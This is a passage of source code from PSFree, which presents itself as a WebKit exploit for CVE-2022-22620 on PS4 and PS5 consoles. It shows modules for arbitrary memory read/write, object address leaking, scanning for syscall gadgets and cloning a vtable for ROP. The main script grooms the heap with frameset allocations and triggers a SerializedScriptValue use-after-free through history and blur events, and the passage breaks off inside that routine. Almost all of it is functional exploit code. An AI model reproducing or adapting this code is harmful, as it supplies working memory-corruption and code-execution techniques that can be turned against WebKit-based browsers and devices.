189 | // to their addresses in memory.
190 | // syscall_array:
191 | // An array whose indices correspond to syscall numbers. Maps syscall
192 | // numbers to their addresses in memory. Defaults to an empty Array.
193 | //
194 | // Raises:
195 | // Error:
196 | // For missing bare minimum gadgets
197 | static init_class(gadgets, syscall_array=[]) {
198 | for (const insn of argument_pops) {
199 | if (!gadgets.has(insn)) {
200 | throw Error(`gadget map must contain this gadget: ${insn}`);
201 | }
202 | }
203 | this.prototype.gadgets = gadgets;
204 | this.prototype.syscall_array = syscall_array;
205 | }
206 | }
207 |
--------------------------------------------------------------------------------
/module/mem.mjs:
--------------------------------------------------------------------------------
1 | /* Copyright (C) 2023-2024 anonymous
2 |
3 | This file is part of PSFree.
4 |
5 | PSFree is free software: you can redistribute it and/or modify
6 | it under the terms of the GNU Affero General Public License as
7 | published by the Free Software Foundation, either version 3 of the
8 | License, or (at your option) any later version.
9 |
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | GNU Affero General Public License for more details.
14 |
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program. If not, see . */
17 |
18 | import { Int, lohi_from_one } from './int64.mjs';
19 | import { view_m_vector, view_m_length } from './offset.mjs';
20 |
21 | export let mem = null;
22 |
23 | // cache some constants
24 | const off_vector = view_m_vector / 4;
25 | const off_vector2 = (view_m_vector + 4) / 4;
26 | const isInteger = Number.isInteger;
27 |
28 | function init_module(memory) {
29 | mem = memory;
30 | }
31 |
32 | function add_and_set_addr(mem, offset, base_lo, base_hi) {
33 | const values = lohi_from_one(offset);
34 | const main = mem._main;
35 |
36 | const low = base_lo + values[0];
37 |
38 | // no need to use ">>> 0" to convert to unsigned here
39 | main[off_vector] = low;
40 | main[off_vector2] = base_hi + values[1] + (low > 0xffffffff);
41 | }
42 |
43 | export class Addr extends Int {
44 | read8(offset) {
45 | const m = mem;
46 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
47 | m._set_addr_direct(this);
48 | } else {
49 | add_and_set_addr(m, offset, this.low, this.high);
50 | offset = 0;
51 | }
52 |
53 | return m.read8_at(offset);
54 | }
55 |
56 | read16(offset) {
57 | const m = mem;
58 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
59 | m._set_addr_direct(this);
60 | } else {
61 | add_and_set_addr(m, offset, this.low, this.high);
62 | offset = 0;
63 | }
64 |
65 | return m.read16_at(offset);
66 | }
67 |
68 | read32(offset) {
69 | const m = mem;
70 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
71 | m._set_addr_direct(this);
72 | } else {
73 | add_and_set_addr(m, offset, this.low, this.high);
74 | offset = 0;
75 | }
76 |
77 | return m.read32_at(offset);
78 | }
79 |
80 | read64(offset) {
81 | const m = mem;
82 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
83 | m._set_addr_direct(this);
84 | } else {
85 | add_and_set_addr(m, offset, this.low, this.high);
86 | offset = 0;
87 | }
88 |
89 | return m.read64_at(offset);
90 | }
91 |
92 | readp(offset) {
93 | const m = mem;
94 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
95 | m._set_addr_direct(this);
96 | } else {
97 | add_and_set_addr(m, offset, this.low, this.high);
98 | offset = 0;
99 | }
100 |
101 | return m.readp_at(offset);
102 | }
103 |
104 | write8(offset, value) {
105 | const m = mem;
106 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
107 | m._set_addr_direct(this);
108 | } else {
109 | add_and_set_addr(m, offset, this.low, this.high);
110 | offset = 0;
111 | }
112 |
113 | m.write8_at(offset, value);
114 | }
115 |
116 | write16(offset, value) {
117 | const m = mem;
118 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
119 | m._set_addr_direct(this);
120 | } else {
121 | add_and_set_addr(m, offset, this.low, this.high);
122 | offset = 0;
123 | }
124 |
125 | m.write16_at(offset, value);
126 | }
127 |
128 | write32(offset, value) {
129 | const m = mem;
130 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
131 | m._set_addr_direct(this);
132 | } else {
133 | add_and_set_addr(m, offset, this.low, this.high);
134 | offset = 0;
135 | }
136 |
137 | m.write32_at(offset, value);
138 | }
139 |
140 | write64(offset, value) {
141 | const m = mem;
142 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
143 | m._set_addr_direct(this);
144 | } else {
145 | add_and_set_addr(m, offset, this.low, this.high);
146 | offset = 0;
147 | }
148 |
149 | m.write64_at(offset, value);
150 | }
151 | }
152 |
153 | // expected:
154 | // * main - Uint32Array whose m_vector points to worker
155 | // * worker - DataView
156 | //
157 | // addrof() expectations:
158 | // * obj - we will store objects at .addr
159 | // * addr_addr - Int where to read out the address. the address used to store
160 | // the value of .addr
161 | //
162 | // the relative read/write methods expect the offset to be a unsigned 32-bit
163 | // integer
164 | export class Memory {
165 | constructor(main, worker, obj, addr_addr) {
166 | this._main = main;
167 | this._worker = worker;
168 | this._obj = obj;
169 | this._addr_low = addr_addr.low;
170 | this._addr_high = addr_addr.high;
171 |
172 | main[view_m_length / 4] = 0xffffffff;
173 |
174 | init_module(this);
175 | }
176 |
177 | addrof(object) {
178 | // typeof considers null as a object. blacklist it as it isn't a
179 | // JSObject
180 | if ((typeof object !== 'object' || object === null)
181 | && typeof object !== 'function'
182 | ) {
183 | throw TypeError('argument not a JS object');
184 | }
185 |
186 | const obj = this._obj;
187 | const worker = this._worker;
188 | const main = this._main;
189 |
190 | obj.addr = object;
191 |
192 | main[off_vector] = this._addr_low;
193 | main[off_vector2] = this._addr_high;
194 |
195 | const res = new Addr(
196 | worker.getUint32(0, true),
197 | worker.getUint32(4, true),
198 | );
199 | obj.addr = null;
200 |
201 | return res;
202 | }
203 |
204 | // expects addr to be a Int
205 | _set_addr_direct(addr) {
206 | const main = this._main;
207 | main[off_vector] = addr.low;
208 | main[off_vector2] = addr.high;
209 | }
210 |
211 | set_addr(addr) {
212 | const values = lohi_from_one(addr);
213 | const main = this._main;
214 | main[off_vector] = values[0];
215 | main[off_vector2] = values[1];
216 | }
217 |
218 | get_addr() {
219 | return new Addr(main[off_vector], main[off_vector2]);
220 | }
221 |
222 | read8(addr) {
223 | this.set_addr(addr);
224 | return this._worker.getUint8(0);
225 | }
226 |
227 | read16(addr) {
228 | this.set_addr(addr);
229 | return this._worker.getUint16(0, true);
230 | }
231 |
232 | read32(addr) {
233 | this.set_addr(addr);
234 | return this._worker.getUint32(0, true);
235 | }
236 |
237 | read64(addr) {
238 | this.set_addr(addr);
239 | const worker = this._worker;
240 | return new Int(worker.getUint32(0, true), worker.getUint32(4, true));
241 | }
242 |
243 | // returns a pointer instead of an Int
244 | readp(addr) {
245 | this.set_addr(addr);
246 | const worker = this._worker;
247 | return new Addr(worker.getUint32(0, true), worker.getUint32(4, true));
248 | }
249 |
250 | read8_at(offset) {
251 | if (!isInteger(offset)) {
252 | throw TypeError('offset not a integer');
253 | }
254 | return this._worker.getUint8(offset);
255 | }
256 |
257 | read16_at(offset) {
258 | if (!isInteger(offset)) {
259 | throw TypeError('offset not a integer');
260 | }
261 | return this._worker.getUint16(offset, true);
262 | }
263 |
264 | read32_at(offset) {
265 | if (!isInteger(offset)) {
266 | throw TypeError('offset not a integer');
267 | }
268 | return this._worker.getUint32(offset, true);
269 | }
270 |
271 | read64_at(offset) {
272 | if (!isInteger(offset)) {
273 | throw TypeError('offset not a integer');
274 | }
275 | const worker = this._worker;
276 | return new Int(
277 | worker.getUint32(offset, true),
278 | worker.getUint32(offset + 4, true),
279 | );
280 | }
281 |
282 | readp_at(offset) {
283 | if (!isInteger(offset)) {
284 | throw TypeError('offset not a integer');
285 | }
286 | const worker = this._worker;
287 | return new Addr(
288 | worker.getUint32(offset, true),
289 | worker.getUint32(offset + 4, true),
290 | );
291 | }
292 |
293 | // writes using 0 as a base address don't work because we are using a
294 | // DataView as a worker. work around this by doing something like "new
295 | // Addr(-1, -1).write8(1, 0)"
296 | //
297 | // see setIndex() from
298 | // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayView.h at PS4
299 | // 8.00
300 |
301 | write8(addr, value) {
302 | this.set_addr(addr);
303 | this._worker.setUint8(0, value);
304 | }
305 |
306 | write16(addr, value) {
307 | this.set_addr(addr);
308 | this._worker.setUint16(0, value, true);
309 | }
310 |
311 | write32(addr, value) {
312 | this.set_addr(addr);
313 | this._worker.setUint32(0, value, true);
314 | }
315 |
316 | write64(addr, value) {
317 | const values = lohi_from_one(value);
318 | this.set_addr(addr);
319 | const worker = this._worker;
320 | worker.setUint32(0, values[0], true);
321 | worker.setUint32(4, values[1], true);
322 | }
323 |
324 | write8_at(offset, value) {
325 | if (!isInteger(offset)) {
326 | throw TypeError('offset not a integer');
327 | }
328 | this._worker.setUint8(offset, value);
329 | }
330 |
331 | write16_at(offset, value) {
332 | if (!isInteger(offset)) {
333 | throw TypeError('offset not a integer');
334 | }
335 | this._worker.setUint16(offset, value, true);
336 | }
337 |
338 | write32_at(offset, value) {
339 | if (!isInteger(offset)) {
340 | throw TypeError('offset not a integer');
341 | }
342 | this._worker.setUint32(offset, value, true);
343 | }
344 |
345 | write64_at(offset, value) {
346 | if (!isInteger(offset)) {
347 | throw TypeError('offset not a integer');
348 | }
349 | const values = lohi_from_one(value);
350 | const worker = this._worker;
351 | worker.setUint32(offset, values[0], true);
352 | worker.setUint32(offset + 4, values[1], true);
353 | }
354 | }
355 |
--------------------------------------------------------------------------------
/module/memtools.mjs:
--------------------------------------------------------------------------------
1 | /* Copyright (C) 2023-2024 anonymous
2 |
3 | This file is part of PSFree.
4 |
5 | PSFree is free software: you can redistribute it and/or modify
6 | it under the terms of the GNU Affero General Public License as
7 | published by the Free Software Foundation, either version 3 of the
8 | License, or (at your option) any later version.
9 |
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | GNU Affero General Public License for more details.
14 |
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program. If not, see . */
17 |
18 | // This module are for utilities that depend on running the exploit first
19 |
20 | import { Int } from './int64.mjs';
21 | import { Addr, mem } from './mem.mjs';
22 | import { align } from './utils.mjs';
23 | import { KB, page_size } from './offset.mjs';
24 | import { read32 } from './rw.mjs';
25 |
26 | import * as rw from './rw.mjs';
27 | import * as o from './offset.mjs';
28 |
29 | // creates an ArrayBuffer whose contents is copied from addr
30 | export function make_buffer(addr, size) {
31 | // see enum TypedArrayMode from
32 | // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
33 | // at webkitgtk 2.34.4
34 | //
35 | // see possiblySharedBuffer() from
36 | // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
37 | // at webkitgtk 2.34.4
38 |
39 | // We will create an OversizeTypedArray via requesting an Uint8Array whose
40 | // number of elements will be greater than fastSizeLimit (1000).
41 | //
42 | // We will not use a FastTypedArray since its m_vector is visited by the
43 | // GC and we will temporarily change it. The GC expects addresses from the
44 | // JS heap, and that heap has metadata that the GC uses. The GC will likely
45 | // crash since valid metadata won't likely be found at arbitrary addresses.
46 | //
47 | // The FastTypedArray approach will have a small time frame where the GC
48 | // can inspect the invalid m_vector field.
49 | //
50 | // Views created via "new TypedArray(x)" where "x" is a number will always
51 | // have an m_mode < WastefulTypedArray.
52 | const u = new Uint8Array(1001);
53 | const u_addr = mem.addrof(u);
54 |
55 | // we won't change the butterfly and m_mode so we won't save those
56 | const old_addr = u_addr.read64(o.view_m_vector);
57 | const old_size = u_addr.read32(o.view_m_length);
58 |
59 | u_addr.write64(o.view_m_vector, addr);
60 | u_addr.write32(o.view_m_length, size);
61 |
62 | const copy = new Uint8Array(u.length);
63 | copy.set(u);
64 |
65 | // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
66 | // associated with them, if we ask for view.buffer, the view will be
67 | // converted into a WastefulTypedArray and an ArrayBuffer will be created.
68 | // This is done by calling slowDownAndWasteMemory().
69 | //
70 | // We can't use slowDownAndWasteMemory() on u since that will create a
71 | // JSC::ArrayBufferContents with its m_data pointing to addr. On the
72 | // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
73 | // cause a crash if the m_data is not from the fastMalloc heap, and even if
74 | // it is, freeing abitrary addresses is dangerous as it may lead to a
75 | // use-after-free.
76 | const res = copy.buffer;
77 |
78 | // restore
79 | u_addr.write64(o.view_m_vector, old_addr);
80 | u_addr.write32(o.view_m_length, old_size);
81 |
82 | return res;
83 | }
84 |
85 | // these values came from analyzing dumps from CelesteBlue
86 | function check_magic_at(p, is_text) {
87 | // byte sequence that is very likely to appear at offset 0 of a .text
88 | // segment
89 | const text_magic = [
90 | new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]),
91 | new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]),
92 | ];
93 |
94 | // the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment
95 |
96 | // .data magic from 3.00, 6.00, and 6.20
97 | //const data_magic = [
98 | // new Int(0x18),
99 | // new Int(0x3c13f4bf, 0x1),
100 | //];
101 |
102 | // .data magic from 8.00 and 8.03
103 | const data_magic = [
104 | new Int(0x20),
105 | new Int(0x3c13f4bf, 0x2),
106 | ];
107 |
108 | const magic = is_text ? text_magic : data_magic;
109 | const value = [p.read64(0), p.read64(8)];
110 |
111 | return value[0].eq(magic[0]) && value[1].eq(magic[1]);
112 | }
113 |
114 | // Finds the base address of a segment: .text or .data
115 | // Used on the ps4 to locate module base addresses
116 | // * p:
117 | // an address pointing somewhere in the segment to search
118 | // * is_text:
119 | // whether the segment is .text or .data
120 | // * is_back:
121 | // whether to search backwards (to lower addresses) or forwards
122 | //
123 | // Modules are likely to be separated by a couple of unmapped pages because of
124 | // Address Space Layout Randomization (all module base addresses are
125 | // randomized). This means that this function will either succeed or crash on
126 | // a page fault, if the magic is not present.
127 | //
128 | // To be precise, modules are likely to be "surrounded" by unmapped pages, it
129 | // does not mean that the distance between a boundary of a module and the
130 | // nearest unmapped page is 0.
131 | //
132 | // The boundaries of a module is its base and end addresses.
133 | //
134 | // let module_base_addr = find_base(...);
135 | // // Not guaranteed to crash, the nearest unmapped page is not necessarily at
136 | // // 0 distance away from module_base_addr.
137 | // addr.read8(-1);
138 | //
139 | export function find_base(addr, is_text, is_back) {
140 | // align to page size
141 | addr = align(addr, page_size);
142 | const offset = (is_back ? -1 : 1) * page_size;
143 | while (true) {
144 | if (check_magic_at(addr, is_text)) {
145 | break;
146 | }
147 | addr = addr.add(offset)
148 | }
149 | return addr;
150 | }
151 |
152 | // gets the address of the underlying buffer of a JSC::JSArrayBufferView
153 | export function get_view_vector(view) {
154 | if (!ArrayBuffer.isView(view)) {
155 | throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
156 | }
157 | return mem.addrof(view).readp(o.view_m_vector);
158 | }
159 |
160 | export function resolve_import(import_addr) {
161 | if (import_addr.read16(0) !== 0x25ff) {
162 | throw Error(
163 | `instruction at ${import_addr} is not of the form: jmp qword`
164 | + ' [rip + X]'
165 | );
166 | }
167 | // module_function_import:
168 | // jmp qword [rip + X]
169 | // ff 25 xx xx xx xx // signed 32-bit displacement
170 | const disp = import_addr.read32(2);
171 | // sign extend
172 | const offset = new Int(disp, disp >> 31);
173 | // The rIP value used by "jmp [rip + X]" instructions is actually the rIP
174 | // of the next instruction. This means that the actual address used is
175 | // [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
176 | // jump instruction, which is 6 in this case.
177 | const function_addr = import_addr.readp(offset.add(6));
178 |
179 | return function_addr;
180 | }
181 |
182 | export function init_syscall_array(
183 | syscall_array,
184 | libkernel_web_base,
185 | max_search_size,
186 | ) {
187 | if (!Number.isInteger(max_search_size)) {
188 | throw TypeError(
189 | `max_search_size is not a integer: ${max_search_size}`
190 | );
191 | }
192 | if (max_search_size < 0) {
193 | throw Error(`max_search_size is less than 0: ${max_search_size}`);
194 | }
195 |
196 | const libkernel_web_buffer = make_buffer(
197 | libkernel_web_base,
198 | max_search_size,
199 | );
200 | const kbuf = new Uint8Array(libkernel_web_buffer);
201 |
202 | // Search 'rdlo' string from libkernel_web's .rodata section to gain an
203 | // upper bound on the size of the .text section.
204 | let text_size = 0;
205 | let found = false;
206 | for (let i = 0; i < max_search_size; i++) {
207 | if (kbuf[i] === 0x72
208 | && kbuf[i + 1] === 0x64
209 | && kbuf[i + 2] === 0x6c
210 | && kbuf[i + 3] === 0x6f
211 | ) {
212 | text_size = i;
213 | found = true;
214 | break;
215 | }
216 | }
217 | if (!found) {
218 | throw Error(
219 | '"rdlo" string not found in libkernel_web, base address:'
220 | + ` ${libkernel_web_base}`
221 | );
222 | }
223 |
224 | // search for the instruction sequence:
225 | // syscall_X:
226 | // mov rax, X
227 | // mov r10, rcx
228 | // syscall
229 | for (let i = 0; i < text_size; i++) {
230 | if (kbuf[i] === 0x48
231 | && kbuf[i + 1] === 0xc7
232 | && kbuf[i + 2] === 0xc0
233 | && kbuf[i + 7] === 0x49
234 | && kbuf[i + 8] === 0x89
235 | && kbuf[i + 9] === 0xca
236 | && kbuf[i + 10] === 0x0f
237 | && kbuf[i + 11] === 0x05
238 | ) {
239 | const syscall_num = read32(kbuf, i + 3);
240 | syscall_array[syscall_num] = libkernel_web_base.add(i);
241 | // skip the sequence
242 | i += 11;
243 | }
244 | }
245 | }
246 |
247 | // textarea object cloned by create_ta_clone()
248 | const rop_ta = document.createElement('textarea');
249 |
250 | // Creates a helper object for ROP using the textarea vtable method
251 | //
252 | // Args:
253 | // obj:
254 | // Object to attach objects that need to stay alive in order for the clone
255 | // to work.
256 | //
257 | // Returns:
258 | // The address of the clone.
259 | export function create_ta_clone(obj) {
260 | // sizeof JSC:JSObject, the JSCell + the butterfly field
261 | const js_size = 0x10;
262 | // start of the array of inline properties (JSValues)
263 | const offset_js_inline_prop = 0x10;
264 | // Sizes may vary between webkit versions so we just assume a size
265 | // that we think is large enough for all of them.
266 | const vtable_size = 0x1000;
267 | const webcore_ta_size = 0x180;
268 |
269 | // Empty objects have 6 inline properties that are not inspected by the
270 | // GC. This gives us 48 bytes of free space that we can write with
271 | // anything.
272 | const ta_clone = {};
273 | obj.ta_clone = ta_clone;
274 | const clone_p = mem.addrof(ta_clone);
275 | const ta_p = mem.addrof(rop_ta);
276 |
277 | // Copy the contents of the textarea before copying the JSCell. As long
278 | // the JSCell is of an empty object, the GC will not inspect the inline
279 | // storage.
280 | //
281 | // MarkedBlocks serve memory in fixed-size chunks (cells). The chunk
282 | // size is also called the cell size. Even if you request memory whose
283 | // size is less than a cell, the entire cell is allocated for the
284 | // object.
285 | //
286 | // The cell size of the MarkedBlock where the empty object is allocated
287 | // is atleast 64 bytes (enough to fit the empty object). So even if we
288 | // change the JSCell later and the perceived size of the object
289 | // (size_jsta) is less than 64 bytes, we don't have to worry about the
290 | // memory area between clone_p + size_jsta and clone_p + cell_size
291 | // being freed and reused because the entire cell belongs to the object
292 | // until it dies.
293 | for (let i = js_size; i < o.size_jsta; i += 8) {
294 | clone_p.write64(i, ta_p.read64(i));
295 | }
296 |
297 | // JSHTMLTextAreaElement is a subclass of JSC::JSDestructibleObject and
298 | // thus they are allocated on a MarkedBlock with special attributes
299 | // that tell the GC to have their destructor clean their storage on
300 | // their death.
301 | //
302 | // The destructor in this case will destroy m_wrapped since they are a
303 | // subclass of WebCore::JSDOMObject as well.
304 | //
305 | // What's great about the clones (initially empty objects) is that they
306 | // are instances of JSC::JSFinalObject. That type doesn't have a
307 | // destructor and so they are allocated on MarkedBlocks that don't need
308 | // destruction.
309 | //
310 | // So even if a clone dies, the GC will not look for a destructor and
311 | // try to run it. This means we can fake m_wrapped and not fear of any
312 | // sort of destructor being called on it.
313 |
314 | const webcore_ta = ta_p.readp(o.jsta_impl);
315 | const m_wrapped_clone = new Uint8Array(
316 | make_buffer(webcore_ta, webcore_ta_size)
317 | );
318 | obj.m_wrapped_clone = m_wrapped_clone;
319 |
320 | // Replicate the vtable as much as possible or else the garbage
321 | // collector will crash. It uses functions from the vtable.
322 | const vtable_clone = new Uint8Array(
323 | make_buffer(webcore_ta.readp(0), vtable_size)
324 | );
325 | obj.vtable_clone = vtable_clone
326 |
327 | clone_p.write64(
328 | o.jsta_impl,
329 | get_view_vector(m_wrapped_clone),
330 | );
331 | rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
332 |
333 | // turn the empty object into a textarea (copy JSCell header)
334 | //
335 | // Don't need to copy the butterfly since it's by default NULL and it
336 | // doesn't have any special meaning for the JSHTMLTextAreaObject type,
337 | // unlike other types that uses it for something else.
338 | //
339 | // An example is a JSArrayBufferView with m_mode >= WastefulTypedArray,
340 | // their *(butterfly - 8) is a pointer to a JSC::ArrayBuffer.
341 | clone_p.write64(0, ta_p.read64(0));
342 |
343 | return clone_p;
344 | }
345 |
--------------------------------------------------------------------------------
/psfree.mjs:
--------------------------------------------------------------------------------
1 | /* Copyright (C) 2023-2024 anonymous
2 |
3 | This file is part of PSFree.
4 |
5 | PSFree is free software: you can redistribute it and/or modify
6 | it under the terms of the GNU Affero General Public License as
7 | published by the Free Software Foundation, either version 3 of the
8 | License, or (at your option) any later version.
9 |
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | GNU Affero General Public License for more details.
14 |
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program. If not, see . */
17 |
18 | // PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write
19 | //
20 | // vulnerable:
21 | // * PS4 [6.00, 10.00)
22 | // * PS5 [1.00, 6.00)
23 |
24 | import { Int } from './module/int64.mjs';
25 | import { Memory,mem } from './module/mem.mjs';
26 | import { KB, MB } from './module/offset.mjs';
27 | import { BufferView } from './module/rw.mjs';
28 |
29 | import {
30 | die,
31 | DieError,
32 | //debug_log,
33 | clear_log,
34 | sleep,
35 | hex,
36 | hex_np,
37 | align,
38 | } from './module/utils.mjs';
39 |
40 | import * as config from './config.mjs';
41 | import * as off from './module/offset.mjs';
42 |
43 | // check if we are running on a supported firmware version
44 | const [is_ps4, version] = (() => {
45 | const value = config.target;
46 | const is_ps4 = (value & 0x10000) === 0;
47 | const version = value & 0xffff;
48 | const [lower, upper] = (() => {
49 | if (is_ps4) {
50 | return [0x600, 0x1000];
51 | } else {
52 | return [0x100, 0x600];
53 | }
54 | })();
55 |
56 | if (!(lower <= version && version < upper)) {
57 | throw RangeError(`invalid config.target: ${hex(value)}`);
58 | }
59 |
60 | return [is_ps4, version];
61 | })();
62 |
63 | const ssv_len = (() => {
64 | if (0x600 <= config.target && config.target < 0x650) {
65 | return 0x58;
66 | }
67 |
68 | // PS4 9.xx and all supported PS5 versions
69 | if (config.target >= 0x900) {
70 | return 0x50;
71 | }
72 |
73 | if (0x650 <= config.target && config.target < 0x900) {
74 | return 0x48;
75 | }
76 | })();
77 |
78 | // these constants are expected to be divisible by 2
79 | const num_fsets = 0x180;
80 | const num_spaces = 0x40;
81 | const num_adjs = 8;
82 |
83 | const num_reuses = 0x400;
84 | const num_strs = 0x200;
85 | const num_leaks = 0x100;
86 |
87 | //const mem = null;
88 |
89 | // we can use the rows attribute of a frameset to allocate from fastMalloc
90 | //
91 | // see parseAttribute() from
92 | // WebKit/Source/WebCore/html/HTMLFrameSetElement.cpp at PS4 8.0x
93 | //
94 | // parseAttribute() will call newLengthArray():
95 | //
96 | // UniqueArray newLengthArray(const String& string, int& len)
97 | // {
98 | // RefPtr str = string.impl()->simplifyWhiteSpace();
99 | // ...
100 | // len = countCharacter(*str, ',') + 1; [1]
101 | // auto r = makeUniqueArray(len); [2]
102 | // ...
103 | // }
104 | //
105 | // pseudocode definition:
106 | //
107 | // class UniqueArray:
108 | // size_t _size; [3]
109 | // Length _data[];
110 | //
111 | // [2] allocates from the fastMalloc heap. [1] will add an additional 1 to len.
112 | // [3] adds an extra 8 bytes to the array
113 | //
114 | // a Length is 8 bytes in size. if we want to allocate ssv_len bytes from
115 | // fastMalloc, then we need:
116 | //
117 | // const num_repeats = ssv_len / 8 - 2;
118 | // const rows = ','.repeat(num_repeats);
119 | const rows = ','.repeat(ssv_len / 8 - 2);
120 |
121 | const original_strlen = ssv_len - off.size_strimpl;
122 | const original_loc = location.pathname;
123 |
124 | function gc() {
125 | new Uint8Array(4 * MB);
126 | }
127 |
128 | function sread64(str, offset) {
129 | const low = (
130 | str.charCodeAt(offset)
131 | | str.charCodeAt(offset + 1) << 8
132 | | str.charCodeAt(offset + 2) << 16
133 | | str.charCodeAt(offset + 3) << 24
134 | );
135 | const high = (
136 | str.charCodeAt(offset + 4)
137 | | str.charCodeAt(offset + 5) << 8
138 | | str.charCodeAt(offset + 6) << 16
139 | | str.charCodeAt(offset + 7) << 24
140 | );
141 | return new Int(low, high);
142 | }
143 |
144 | function prepare_uaf() {
145 | const fsets = [];
146 | const indices = [];
147 |
148 | function alloc_fs(fsets, size) {
149 | for (let i = 0; i < size / 2; i++) {
150 | const fset = document.createElement('frameset');
151 | fset.rows = rows;
152 | fset.cols = rows;
153 | fsets.push(fset);
154 | }
155 | }
156 |
157 | history.pushState('state0', ''); // new line
158 |
159 | alloc_fs(fsets, num_fsets);
160 |
161 | // the "state1" SSVs is what we will UaF
162 | history.pushState('state1', '', original_loc + '#bar');
163 | indices.push(fsets.length);
164 |
165 | alloc_fs(fsets, num_spaces);
166 |
167 | history.pushState('state1_2', '', original_loc + '#foo');
168 | indices.push(fsets.length);
169 |
170 | alloc_fs(fsets, num_spaces);
171 |
172 | history.pushState('state2', '');
173 | return [fsets, indices];
174 | }
175 |
176 | // WebCore::SerializedScriptValue use-after-free
177 | //
178 | // be careful when accessing history.state since History::state() will get
179 | // called. History will cache the SSV at its m_lastStateObjectRequested if you
180 | // do. that field is a RefPtr, thus preventing a UaF if we cache "state1"
181 | async function uaf_ssv(fsets, index, index2) {
182 | const views = [];
183 | const input = document.createElement('input');
184 | const foo = document.createElement('input');
185 | foo.id = 'foo';
186 | const bar = document.createElement('a');
187 | bar.id = 'bar';
188 |
189 | //debug_log(`ssv_len: ${hex(ssv_len)}`);
190 |
191 | let pop = null;
192 | let pop2 = null;
193 | let pop_promise2 = null;
194 | let blurs = [0, 0];
195 | let resolves = [];
196 |
197 | function onpopstate(event) {
198 | const no_pop = pop === null;
199 | const idx = no_pop ? 0 : 1;
200 |
201 | //debug_log(`pop ${idx} came`);
202 | if (blurs[idx] === 0) {
203 | const r = resolves[idx][1];
204 | r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`));
205 | }
206 |
207 | if (no_pop) {
208 | pop_promise2 = new Promise((resolve, reject) => {
209 | resolves.push([resolve, reject]);
210 | addEventListener('popstate', onpopstate, {once: true});
211 | history.back();
212 | });
213 | }
214 |
215 | if (no_pop) {
216 | pop = event;
217 | } else {
218 | pop2 = event;
219 | }
220 | resolves[idx][0]();
221 | }
222 |
223 | const pop_promise = new Promise((resolve, reject) => {
224 | resolves.push([resolve, reject]);
225 | addEventListener('popstate', onpopstate, {once: true});
226 | });
227 |
228 | function onblur(event) {
229 | const tgt = event.relatedTarget;
230 | const is_foo = tgt === foo;
231 | const name = is_foo ? 'foo' : 'bar';
232 | const idx = is_foo ? 0 : 1;
233 | //debug_log(`${name} blur came`);
234 |
235 | if (blurs[idx] > 0) {
236 | die(`${name}: multiple blurs. blurs: ${blurs[idx]}`);
237 | }
238 |
239 | // we replace the URL with the original so the user can rerun the
240 | // exploit via a reload. If we don't, the exploit will append another
241 | // "#foo" to the URL and the input element will not be blurred because
242 | // the foo element won't be scrolled to during history.back()
243 | history.replaceState('state3', '', original_loc);
244 |
245 | // free the SerializedScriptValue's neighbors and thus free the
246 | // SmallLine where it resides
247 | const fset_idx = is_foo ? index : index2;
248 | for (let i = fset_idx - num_adjs/2; i < fset_idx + num_adjs/2; i++) {
249 | fsets[i].rows = '';
250 | fsets[i].cols = '';
251 | }
252 |
253 | for (let i = 0; i < num_reuses; i++) {
254 | const view = new Uint8Array(new ArrayBuffer(ssv_len));
255 | view[0] = 0x41;
256 | views.push(view);
257 | }
258 |
259 | blurs[idx]++;
260 | }
261 |
262 | input.addEventListener('blur', onblur);
263 | foo.addEventListener('blur', onblur);
264 |
265 | document.body.append(input);
266 | document.body.append(foo);
267 | document.body.append(bar);
268 |
269 | // FrameLoader::loadInSameDocument() calls Document::statePopped().
270 | // statePopped() will defer firing of popstate until we're in the complete
271 | // state
272 | //
273 | // this means that onblur() will run with "state2" as the current history
274 | // item if we call loadInSameDocument too early
275 | //debug_log(`readyState now: ${document.readyState}`);
276 |
277 | if (document.readyState !== 'complete') {
278 | await new Promise(resolve => {
279 | document.addEventListener('readystatechange', function foo() {
280 | if (document.readyState === 'complete') {
281 | document.removeEventListener('readystatechange', foo);
282 | resolve();
283 | }
284 | });
285 | });
286 | }
287 |
288 | //debug_log(`readyState now: ${document.readyState}`);
289 |
290 | await new Promise(resolve => {
291 | input.addEventListener('focus', resolve, {once: true});
292 | input.focus();
293 | });
294 |
295 | history.back();
296 | await pop_promise;
297 | await pop_promise2;
298 |
299 | //debug_log('done await popstate');
300 |
301 | input.remove();
302 | foo.remove();
303 | bar.remove();
304 |
305 | const res = [];
306 | for (let i = 0; i < views.length; i++) {
307 | const view = views[i];
308 | if (view[0] !== 0x41) {
309 | //debug_log(`view index: ${hex(i)}`);
310 | //debug_log('found view:');
311 | //debug_log(view);
312 |
